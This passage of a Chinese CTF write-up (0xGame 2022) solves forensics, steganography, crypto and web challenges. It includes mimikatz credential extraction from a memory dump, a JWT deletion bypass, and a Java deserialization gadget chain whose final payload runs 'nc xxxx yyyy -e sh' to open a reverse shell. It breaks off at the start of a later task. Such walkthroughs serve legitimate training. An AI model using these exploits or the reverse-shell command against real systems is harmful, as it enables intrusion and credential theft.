St1gvdn13d2SGcKvxRq4vbGEKf66e1IX1ywid5epVjAHknLqo5UQj/1XkVGdsF2U

再用 cmdscan 收集信息

提示 boot password, 于是 hashdump

有两个用户 zysgmzb 和 zysgmzb1, 后者的 hash 解出来是 888999, 前者在线网站解不出来

拿着 888999 去解密那串文本, 试了 aes des 之类的对称加密都不行

然后想着这个是内存取证, 能不能通过转储 lsass.exe 配合 mimikatz 读明文?

不过本地 dump 出来之后用 mimikatz 读取一直提示错误…

网上搜了一下发现 volatility 有现成的 mimikatz 插件

https://l1near.top/index.php/2020/08/09/59.html

wsl 环境有点问题, 换成了 kali 虚拟机

password 是 0xGame2022

拿着这个去解 aes

Time To Live

题目名称提示是 ttl

参考文章 https://blog.csdn.net/l8947943/article/details/122723363

不过这题转成二进制后是前四个数字不一样

脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import binascii

with open('123.txt', 'r') as f:
    content = f.read().split('\n')

data = ''

for i in content:
    b = '{0:b}'.format(int(i)).zfill(8)[:4]
    data += b

flag = ''
for i in range(0, len(data),8):
    flag += chr(int(data[i:i+8],2))

print(flag)

输出的内容看起来像 base64

1
/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAIAAgADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+1D9mm1lX4UfD8zTNdyXnh/Ttalu3un1J9Um1C4mvX8RS6jL4h8bya/PqzOb1/Gdz41+L974iec6pN+038ZZrpvHuv/RoJQXLdSfMXPzMZCjpFgkec0xB/d4Z9SZWIiEUUjDTpOU8BeH28P8Ah/SrCbe0lvDG9w80k00097cNcyz311cXd9qt1eahdTymW61bU9Z8Sa9qFw7z6p8QPGF9JPql51bKXjlOMmVpgQRktghMMCkhbH+q2yRz7QfINvECdJlANFTuO8c7l4w.....................................................................................

用在线网站转成图片

把图片保存到本地, binwalk 和 stegsolve 没看出来什么…

在 ctf-wiki 找到了针对 jpg 隐写的检测工具 stegdetect

检测是 jphide 隐写, 结果解密时需要密码, 密码用各种 topXXX.txt 跑一遍都不行…

最后问了下师傅, 提示我仔细看题目描述

大水怪zysgmzb又水了一道题,好水啊

三个水, 可能是盲水印?

https://github.com/ww23/BlindWatermark

这里要用 -f 参数, 用 -c的话图片会乱码

用在线美图秀秀拉一下对比度

试出来 flag 为 0xGame{2ade442e-2b56-4794-9d58-cff8eb88b2bf}

我也很异或呢

文件开头和结尾有点意思

隐隐约约地在提示 0xGame 这个关键词

参考文章 https://cloud.tencent.com/developer/article/1916852

参考工具 https://github.com/raddyfiy/xortool-for-Windows

分析词频得到 key 大概率是 6 个字符, 然后指定长度和出现频率最高的字符 (二进制文件为 00)

这里其实也可以直接猜 key 为 0xGame, 附上 python2 脚本 ( python3 会有些奇怪的错误)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from itertools import cycle

with open('flag','rb') as f:
    content = f.read()

key = cycle('0xGame')
data = ''
for i in content:
    data += chr(ord(i) ^ ord(next(key)))
with open('res','wb') as f:
    f.write(data)

解密出来的文件是压缩包

解压后打开 flagishere.Q

提示是按键精灵

安装之后导入脚本

运行时打开记事本, 自动输入 flag

Crypto

B_D

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from random import getrandbits
from gmpy2 import iroot
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
N = p * q
print(f'N = {N}')
phi = (p - 1) * (q - 1)
d = int(iroot(N, 4)[0]) ^ getrandbits(250)
e = inverse(d, phi)
print(f'e = {e}')
m = bytes_to_long(flag)
c = pow(m, e, N)
print(f'c = {c}')

'''
N = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592
'''

题目描述提示是维纳攻击

参考工具 https://github.com/pablocelayes/rsa-wiener-attack

1
2
3
4
5
6
import owiener

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = owiener.attack(e, n)
print(d)

结果如下

1
10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053

rsa 解密

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import long_to_bytes

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = 10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592

m = pow(c, d, n)
print(long_to_bytes(m))

flag 为 0xGame{b0n3h_durf33_YYDS}

blocker

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import *
import random
from secret import flag

a = random.getrandbits(32)
b = random.getrandbits(32)


def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value


def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block


def enc_msg(msg):
    block_length = 4
    msg = msg + ((block_length - len(msg) % block_length) % block_length) * b'\x00'
    plain_block = [msg[block_length * i: block_length * (i + 1)] for i in range(len(msg) // block_length)]
    cipher = b""
    IV = bytes_to_long(b"0xgm")
    for block in plain_block:
        c = enc_block(block) ^ IV
        IV = c
        cipher += long_to_bytes(c)
    return cipher


print("a =", a)
print("b =", b)
print("cipher =", enc_msg(flag))

'''
a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'
'''

块加密, 具体是啥不太清楚… 分组模式应该是 CBC, 因为有初始向量 IV

参考文章 https://ctf-wiki.org/crypto/blockcipher/mode/cbc/

根据上面的代码倒过来写解密函数就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
import random

a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'

def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value

def circular_shift_right(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[-k:] + bin_value[:-k]
    int_value = int(bin_value, 2)
    return int_value

def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block

def dec_block(block):
    block ^= b
    block = circular_shift_right(block, 11)
    block ^= a
    return long_to_bytes(block)

def dec_msg(cipher):
    block_length = 4
    enc_block = [cipher[block_length * i: block_length * (i + 1)] for i in range(len(cipher) // block_length)]
    msg = b''
    IV = bytes_to_long(b"0xgm")
    for block in enc_block:
        c = bytes_to_long(block)
        c ^= IV
        IV = bytes_to_long(block)
        m = dec_block(c)
        msg += m
    return msg

print(dec_msg(cipher))

flag 为 0xGame{n0w_y0u_kn0w_bl0ck|c1pher?}

Euler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
import random
from secret import flag

n = 1
phi = 1
for i in range(20):
    tmp = getPrime(50)
    n *= tmp
m = bytes_to_long(flag)
e = random.getrandbits(32)
l = pow(3, pow(3, e), n)
c = l ^ m

print(e)
print(n)
print(c)
'''
e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600
'''

其实就是简单的异或加密, 但这里 l 很大, 直接用 pow 算要跑很久很久

题目描述提示是欧拉定理, 网上找到一个类似的题目

https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb

大意就是说先分解 n 找到一些质数, 然后计算 phi, 通过 phi 可以降幂计算 l, 加快了计算速度

首先是分解 n, factordb 只分出来两个… 于是换成了 yafu

然后根据文章里的公式计算 l

1
2
3
4
phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)

最后将 l 与 c 异或, 得到明文 m

完整代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from functools import reduce

e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600

factors = [0] * 20

factors[0] = 1031597280836669
factors[1] = 585469394406137
factors[2] = 986358416636413
factors[3] = 627339010540087
factors[4] = 755979891579641
factors[5] = 1002598179716267
factors[6] = 564473023238051
factors[7] = 712230248080397
factors[8] = 729341978292667
factors[9] = 771609538687643
factors[10] = 1108754952183367
factors[11] = 1098486200089483
factors[12] = 724280506692727
factors[13] = 722283223420861
factors[14] = 995107014561889
factors[15] = 1121166222643673
factors[16] = 1106502088074143
factors[17] = 831763169751037
factors[18] = 1047241102139227
factors[19] = 681606630260771

phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)
m = c ^ l
print(long_to_bytes(m))

flag 为 0xGame{Euler_1s_v3ry|useful!}'

签个名吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from hashlib import *
from secret import secretkey, flag

assert flag == '0xGame{' + md5(str(secretkey).encode()).hexdigest() + '}'


class DigitalSignatureAlgorithm:
    def __init__(self):
        self.p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
        self.q = 1427665647738374763020227949129429759446792665193
        self.g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934
        self.k = getRandomRange(1, self.q)

    def sign(self, m, x):
        z = bytes_to_long(sha256(m).digest())
        r = int(pow(self.g, self.k, self.p)) % self.q
        s = (int(inverse(self.k, self.q)) * (z + x * r)) % self.q
        return r, s


DSA = DigitalSignatureAlgorithm()
x = secretkey
y = pow(DSA.g, x, DSA.p)
print(y)

m0 = b'0xGame'
m1 = b'hack_fun'

r0, s0 = DSA.sign(m0, x)
r1, s1 = DSA.sign(m1, x)
print(r0, s0)
print(r1, s1)

'''
629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707
9569108440001628337054549116871993930089020799 1155391566683353144613828381835889947132557976718
9569108440001628337054549116871993930089020799 182166581822791423481695372664923137176789829383
'''

DSA 数字签名

参考文章

https://ctf-wiki.org/crypto/signature/dsa/

https://github.com/xalanq/jarvisoj-solutions/blob/master/crypto/DSA.md

不难发现代码里面对 m0 m1 的签名用的是同一个 k 值

直接用文章里的脚本跑一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import bytes_to_long
from hashlib import *
import gmpy2

y = 629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707

r0 = 9569108440001628337054549116871993930089020799
s0 = 1155391566683353144613828381835889947132557976718
r1 = 9569108440001628337054549116871993930089020799
s1 = 182166581822791423481695372664923137176789829383

p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
q = 1427665647738374763020227949129429759446792665193
g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934

m0 = bytes_to_long(sha256(b'0xGame').digest())

m1 = bytes_to_long(sha256(b'hack_fun').digest())

ds = s1 - s0
dm = m1 - m0
k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)
tmp = gmpy2.mul(k, s0) - m0
x = tmp * gmpy2.invert(r0, q)
x = gmpy2.f_mod(x, q)
print('x =', x)

print('0xGame{' + md5(str(x).encode()).hexdigest() + '}')

flag 为 0xGame{0d49c454e403b622070f7257682fe8d6}

Week 4

Web

profile

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const port = 3000;
const flag = process.env.FLAG || "flag{fake_flag}";
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            profile: "个人简介",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.send(`<html>
<body>欢迎使用</body>
<!--/source-->
</html>`);
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.send("非法用户名/密码");
        return;
    }
    if (users.lookup(req.body.username)) {
        res.send("该用户名已被占用");
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.send("注册成功");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie("token", jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" }));
    } else {
        res.send("用户名/密码错误");
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

app.post("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    if (!req.body.profile || req.body.profile.length > 2000) {
        res.send("简介必须为1-2000个字内");
        return;
    }
    users.get(res.locals.user.uid).profile = req.body.profile;
    res.send("简介修改成功");
});

app.get("/source", (req, res) => {
   res.sendFile("/app/app.js");
});

app.listen(port, () => {
    console.log(`服务已启动`);
});

nodejs 的题, 题目实现了一个简单的管理用户的 api

登录和注册的过程存在 jwt, 所以一开始就想着往 jwt 的方向去找利用思路, 结果都失败了

后来觉得既然程序写了这几个路由, 应该都是有用的

于是看了下 /delete 路由

1
2
3
4
5
6
7
app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

再看获取 flag 的路由

1
2
3
4
5
6
7
8
app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

这里很容易就能想出来一个思路: 在登陆状态下我们请求 /delete 删除用户, 这时候 user.restricted 就是 undefined (相当于 false), 那么 user.restricted ? user.profile : flag 的结果就会变成 flag

下面来试一下, 先注册用户

只要带上 token 就已经是登录状态了, 然后去请求 /delete

最后请求 /profile 得到 flag

Ez_girlfriend

java 题, 用的是 springboot

IndexController

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package BOOT-INF.classes.com.ctf.game.Controller;

import com.ctf.game.Controller.Tools;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@EnableAutoConfiguration
@RestController
public class IndexController {
  @GetMapping({"/"})
  public String hello() throws Exception {
    return "<h1>Come on!! help winmt find his girlfriend</h1>";
  }

  @RequestMapping({"/girlfriend"})
  public String starter(@RequestParam(name = "object", required = false) String object, Model model) throws Exception {
    if (object != null) {
      try {
        Tools.deserialize(Tools.base64Decode(object));
      } catch (Exception e) {
        return "<h1>ohhh No!! object of winmt is broken :(</h1>";
      }
    } else {
      return "<h1>No winmt want an object ~</h1>";
    }
    return "<h1>ohhh yes!! winmt found his object :)</h1>";
  }
}

Tools

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package BOOT-INF.classes.com.ctf.game.Controller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

public class Tools implements Serializable {
  private static final long serialVersionUID = 362498820763181265L;
  
  private String girlfriend;
  
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }

  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }

  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }

  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    Object o = objIn.readObject();
    return o;
  }

  public boolean equals(Object obj) {
    return girlfriendofwinmt(obj);
  }

  public boolean girlfriendofwinmt(Object obj) {
    if (obj instanceof String)
      try {
        Runtime.getRuntime().exec(this.girlfriend);
        return true;
      } catch (Exception e) {
        e.printStackTrace();
        return false;
      }
    return false;
  }
}

pom.xml 里只有 springboot 的相关依赖, 就不贴了

题目已经给了反序列化的入口点 (readObject), 并且 Tools 类中存在 equals 和 girlfriendofwinmt 这两个可疑方法

猜测思路就是利用反序列化通过 equals 最终调用到 girlfriendofwinmt 中来执行命令

然后既然没用到其它的第三方依赖, 所以应该就是原生类的反序列化, 要在 jdk 中找利用链

去网上搜了下用到 equals 方法的相关文章, 找到了 cc7 和 jdk7u21 这两条链子, 根据 hint 的 "Aa".hashCode()=="BB".hashCode() 来看应该考察的是 cc7 里面的某些步骤

参考文章 https://tttang.com/archive/1337/#toc_0x07-commonscollections7

部分 gadget

1
2
3
4
5
Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            AbstractMapDecorator.equals
                AbstractMap.equals

为什么要找 Hashtable HashMap 这些呢, 因为是哈希表要保证 key 甚至 value 唯一, 必然会涉及到 equals 方法的调用

先跟着文章里原来的 payload 跟一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.ctf.game.Controller;

import com.ctf.game.Serialization;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy", tools);
        map2.put("zZ", tools);
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

直接看 HashTable 的 readObject()

调用了 reconstitutionPut()

这里的 hash 计算的是 key.hashCode(), 也就是说仅和 key 有关, 同时 index 也是由 hash 计算出来的, 并且只要 hash 相同 index 就相同

变量 e 就是通过计算出来的 index 来取出 HashTable 中已有的元素

我们的目标是进入到 e.key.equals(key) 这一步, 但由于逻辑运算符的短路特性, 必须要满足 e.hash == hash 才能执行后面的内容

cc7 的链子利用的是两个 HashMap, 并往里面放入特定的 key 和 value, 从而确保两个 HashMap 计算出来的 hashCode 是相同的

继续单步步入 e.key.equals(key), 由于 HashMap 没有实现 equals, 所以执行的是 AbstractMap 的 equals 方法

e 就是上一步是 e.key, m 就是被传入 equals 方法中的 HashMap

value 是从 e 这个 HashMap 取出来的, 也就是 Tools 对象

题目源码中有 if (obj instanceof String) 这句, 限制了传入的参数必须是 String 类型, 如果直接照抄 cc7 的 payload, m.get(key) 的值就变成 null 了, 因为此时的 key 是 map1 的 key, 即 yy, 而 m 是 map2, 里面只有 zZ, 所以会返回 null

解决方法就是让 map1 map2 里面的 key value 都相等, 即同时往 map1 map2 中放入 yyzZ 这两个 key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.ctf.game.Controller;

import com.ctf.game.Serialization;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ"); // add element
        map2.put("zZ",tools);
        map2.put("yy","yy"); // add element
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

这样 m.get(key) 返回的就是 String 类型的 yy, 从而成功调用到 Tools.equals(), 最终弹出了计算器

剩下的就是执行命令反弹 shell 然后查看 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.ctf.game.Controller;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "nc xxxx yyyy -e sh");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ");
        map2.put("zZ",tools);
        map2.put("yy","yy");
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        System.out.println(Tools.base64Encode(Tools.serialize(ht)));
    }
}

Crypto

Bytes Oracle

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
import socketserver
from Crypto.Util.number import *
import os
import signal
import string
from random import *
from secret import _flag

banner = r"""                               
  ____        _          ___                 _      
 | __ ) _   _| |_ ___   / _ \ _ __ __ _  ___| | ___ 
 |  _ \| | | | __/ _ \ | | | | '__/ _` |/ __| |/ _ \
